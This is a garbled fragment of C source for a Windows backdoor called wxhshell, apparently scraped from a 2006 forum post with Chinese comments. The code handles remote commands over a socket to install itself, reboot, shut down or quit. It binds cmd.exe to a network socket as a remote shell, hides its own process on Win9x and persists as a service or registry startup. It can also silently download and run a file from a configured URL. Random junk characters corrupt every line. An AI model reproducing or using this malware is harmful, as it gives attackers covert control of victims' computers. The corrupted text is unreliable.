    switch(cmd[0]) { Fk:yj 4'  
  %gF; A*  
  // 帮助 !>~W5c^  
  case '?': { Orb('Z,-3  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 2D5S%27,  
    break; J>I.|@W4  
  } j}0W|*  
  // 安装 SR,id B&i  
  case 'i': { X*Ibk-PUM  
    if(Install()) !`u  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); a/9R~DwN  
    else ?w{lC,  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0);  aOS:rC  
    break; + _=&7  
    } $ekB+ t:cj  
  // 卸载 Lo'P;Sb4<}  
  case 'r': { =}:9y6QR.  
    if(Uninstall()) Y9b|lP7!  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); uQ^r1 $#  
    else ^E)Kse.>  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); &P+7Um(  
    break; E%R^ kqqr  
    } >~;MQDU5*Y  
  // 显示 wxhshell 所在路径 Kq`C5  
  case 'p': { y^7ol;t  
    char svExeFile[MAX_PATH]; {Vc%ga|E  
    strcpy(svExeFile,"\n\r"); )2@_V %  
      strcat(svExeFile,ExeFile); x%acWeV5  
        send(wsh,svExeFile,strlen(svExeFile),0); *Q?ZJS ~  
    break; V3<baxdE  
    } y*Egt`W  
  // 重启 #6XN_<  
  case 'b': { B{\cV-X$0  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 0JQ0lzk1  
    if(Boot(REBOOT)) K#j<G]I( @  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); LX%K*nlj  
    else { J3oEN'8S  
    closesocket(wsh); ub C(%Y_k  
    ExitThread(0); `yjHLg  
    } ]9xuLJ)  
    break; '@Zau\xC  
    }  8>Y  
  // 关机 -ZTe#@J  
  case 'd': { I~LN)hqdo  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); P@ gVzx)M  
    if(Boot(SHUTDOWN)) a[<'%S#3x  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); XIM!]  
    else { 5XSr K  
    closesocket(wsh); U@W3x@  
    ExitThread(0); ~9&#7fU  
    } `>M-J-J  
    break; m).S0  
    } QvM+]pdR6  
  // 获取shell kz|2PP  
  case 's': { 8p4J7 -  
    CmdShell(wsh); <a)B5B>  
    closesocket(wsh); "}_b,5lkGK  
    ExitThread(0); 'z=WJV;Vs  
    break; T3HAr9i%)  
  } <qG4[W,[  
  // 退出 +T*=JHOD  
  case 'x': { :]EAlaB4Q  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ].W)eMC*c(  
    CloseIt(wsh); wVSM\  
    break; =x9SvIm/tH  
    } {H]xA3[]  
  // 离开 h28")c.pH=  
  case 'q': { gyqM&5b  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); \Tf$i(0q  
    closesocket(wsh); t' )47k\  
    WSACleanup(); i$~2pr  
    exit(1); N=1zhI:VaQ  
    break; AJk0jh\.j%  
        } ao4"=My*G  
  } >s 4"2X  
  } U(lcQC`$  
~U] "dbQ  
  // 提示信息 wul$lJ?tE  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); K? ;_T$^K  
} T&M*sydA  
  } ?C( ' z7  
) >_xHc?  
  return; Vu @2  
} &`#k 1t'  
VrV )qfG  
// shell模块句柄 -^ )0c  
int CmdShell(SOCKET sock) y v6V1gK  
{ ws"{Y+L  
STARTUPINFO si; ~}uv4;0l]  
ZeroMemory(&si,sizeof(si)); 42`%D  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; &h(>jY7b;  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; .YV{wL@cB  
PROCESS_INFORMATION ProcessInfo; *&WkorByW  
char cmdline[]="cmd"; #BB,6E   
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ^?pf.E!F`  
  return 0; ;[-OMGr]#  
} <evvNSE  
{WBe(dc_%  
// 自身启动模式 +iS'$2)@  
int StartFromService(void) AYhWeI+  
{ |u r/6{Oj1  
typedef struct 4@2<dw|*h  
{ j7(sYo@x7  
  DWORD ExitStatus;  {{hp;&x  
  DWORD PebBaseAddress; B,Pbm|U1  
  DWORD AffinityMask; U GA_^?4  
  DWORD BasePriority; `pMI @"m  
  ULONG UniqueProcessId; h |Ofi  
  ULONG InheritedFromUniqueProcessId; gMN>`Z`fV  
}   PROCESS_BASIC_INFORMATION; Rm@#GP`  
*QKxrg  
PROCNTQSIP NtQueryInformationProcess; ]!7 %)  
?]*WVjskE  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; st- z>}  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; hv)>HU&  
w}8 ,ICL  
  HANDLE             hProcess; 5yOIwzr&Uu  
  PROCESS_BASIC_INFORMATION pbi; eAU0 8gM.  
to2; . ~X  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); r] h>Bb  
  if(NULL == hInst ) return 0; '}4z=f`}  
mS\ gh)<h  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); LtIR)EtB]  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); #Hn<4g"AjM  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); <WXGDCj  
KCBA`N8  
  if (!NtQueryInformationProcess) return 0; L/ L#[  
z7vc|Z|  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 5j8aMnvs  
  if(!hProcess) return 0; / .wO<l=  
AnF"+<  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Sb2hM~  
/+V}.  
  CloseHandle(hProcess); (/mR p  
m:6^yfS  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 1X8P v*,  
if(hProcess==NULL) return 0; y4\(ynk  
JfOBZQ  
HMODULE hMod; a&^HvXO(>(  
char procName[255]; ro&/  
unsigned long cbNeeded; a+HGlj 2>  
[Rj_p&'  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ^sF/-/ {?U  
{ l E\y9  
  CloseHandle(hProcess); 0W_olnZ  
2X X-  
if(strstr(procName,"services")) return 1; // 以服务启动 ]\ ~s83?X  
u%t/W0xi  
  return 0; // 注册表启动 (Q]Ww_r~  
} c)*,">$#  
:VkuK@Th`  
// 主模块 W u C2 LM  
int StartWxhshell(LPSTR lpCmdLine) qjBF]3%t%  
{ Wg!<V6}  
  SOCKET wsl; MG}rvzn@  
BOOL val=TRUE; V=i/cI\  
  int port=0; D`Cy]j  
  struct sockaddr_in door; GhJ<L3  
Y>J$OA:  
  if(wscfg.ws_autoins) Install(); q1a*6*YB  
T`zUgZ]  
port=atoi(lpCmdLine); x/S:)z%X  
mm dQ\\  
if(port<=0) port=wscfg.ws_port; WMw|lV r  
C vOH*K'  
  WSADATA data; N*1{yl76x  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; &Z3u(Eb  
=x xN3Ay  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   MdC}!&W  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); `i `F$;  
  door.sin_family = AF_INET; +=Y[RCXT  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); l cX'n8/3  
  door.sin_port = htons(port); Qi=pP/Y  
!g.?+~@  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 7DZZdH$Fm  
closesocket(wsl); YHp]O+c  
return 1; XLgp.w;  
} N,3 )`Vm  
DqJzsk'd3  
  if(listen(wsl,2) == INVALID_SOCKET) { "C]v   
closesocket(wsl); qo*%S  
return 1; ;hV-*;>  
} ,I2x&Ys&.  
  Wxhshell(wsl);  "d; T1  
  WSACleanup(); 9Ai 3p  
CcJ%; .V,T  
return 0; I3.cy i  
Op_(10|  
} 3/{,}F$  
j5:/Gl8  
// 以NT服务方式启动 4=nh' U38  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) >ufLRGL>  
{ V[;^{,;  
DWORD   status = 0; u|+Dqe`  
  DWORD   specificError = 0xfffffff; :|HCUZ*H(T  
==Ah& ){4^  
  serviceStatus.dwServiceType     = SERVICE_WIN32; t" $#KP<  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ysH'X95  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; MqAN~<l [  
  serviceStatus.dwWin32ExitCode     = 0; 0woLB#v9  
  serviceStatus.dwServiceSpecificExitCode = 0; uj~(r=%  
  serviceStatus.dwCheckPoint       = 0; ~]Weyb[ N  
  serviceStatus.dwWaitHint       = 0; ["H2H rI2  
cK1 Fv6V#  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 5F78)q u6N  
  if (hServiceStatusHandle==0) return; D &Bdl5g  
zHX7%x,Cq  
status = GetLastError(); h]vu BHJ}  
  if (status!=NO_ERROR) "oT&KW   
{ >c@jl  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Tr.u'b(  
    serviceStatus.dwCheckPoint       = 0; mhgvN-? "h  
    serviceStatus.dwWaitHint       = 0; WB.w3w [f  
    serviceStatus.dwWin32ExitCode     = status; ce<88dL  
    serviceStatus.dwServiceSpecificExitCode = specificError; s$Vz1B  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); B!x7oD9  
    return; 5h l!zA?  
  } #|QA_5  
j a'_syn  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; C <d]0)  
  serviceStatus.dwCheckPoint       = 0; zXW)v/ ZD  
  serviceStatus.dwWaitHint       = 0; &a'mh  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); j" 5 +"j  
} 0TqIRUz "C  
2dCD.9s9~  
// 处理NT服务事件,比如:启动、停止 EX/{W$ &K  
VOID WINAPI NTServiceHandler(DWORD fdwControl) sZ> 0*S  
{ 6Qn};tbnD  
switch(fdwControl) ?s@=DDB\u  
{ blKF78  
case SERVICE_CONTROL_STOP: ]64pb;w"$D  
  serviceStatus.dwWin32ExitCode = 0; =eQ'^3a  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; HE:]zH  
  serviceStatus.dwCheckPoint   = 0; (&1 56 5  
  serviceStatus.dwWaitHint     = 0; 6(/*E=bOKV  
  { 6Zx)L|B  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 97pfMk1_  
  } >{{0odBF  
  return; 2-%9k)KH  
case SERVICE_CONTROL_PAUSE: 0V+v)\4FE  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; !8*7{7  
  break; }_oQg_-7e  
case SERVICE_CONTROL_CONTINUE: 5i-VnG  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; IOY<'t+  
  break; *&~(>gNF,  
case SERVICE_CONTROL_INTERROGATE: ,0@QBr5P  
  break; 6f^IAa|  
}; M%bD7naBq  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); r<[G~n  
} hf:\^w  
T*%O\&'r  
// 标准应用程序主函数 v+~O\v5Q  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) "I QM4:  
{ x~ E\zw  
E/2_@&U:}  
// 获取操作系统版本 `Krk<G  
OsIsNt=GetOsVer(); y=2nV  
GetModuleFileName(NULL,ExeFile,MAX_PATH); GK[9Cm"v  
pHKc9VC  
  // 从命令行安装 hm0MO,i"  
  if(strpbrk(lpCmdLine,"iI")) Install(); ~{ucr#]C  
FK @Gd)(  
  // 下载执行文件 Mu@(^zW  
if(wscfg.ws_downexe) { WJ/X`?k  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) K}vYE7n:  
  WinExec(wscfg.ws_filenam,SW_HIDE); 4t 0p!IxG  
} M9.FtQhK/  
i,mZg+;w  
if(!OsIsNt) { 'yR\%#s6  
// 如果时win9x,隐藏进程并且设置为注册表启动 )  D5JA`  
HideProc(); HHL7z,%f  
StartWxhshell(lpCmdLine); eyy%2> b  
} L\q-Z..  
else y$9XHubu  
  if(StartFromService()) yeLd,M/I  
  // 以服务方式启动 S;tvt/\!Z  
  StartServiceCtrlDispatcher(DispatchTable); _FkH;MGWS  
else IM_SZs  
  // 普通方式启动 M%OUkcWCk  
  StartWxhshell(lpCmdLine); 9?uU%9r5P  
(gUVZeVFP  
return 0; x b!&'cw  
}
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只看该作者 1 发表于: 2006-10-10
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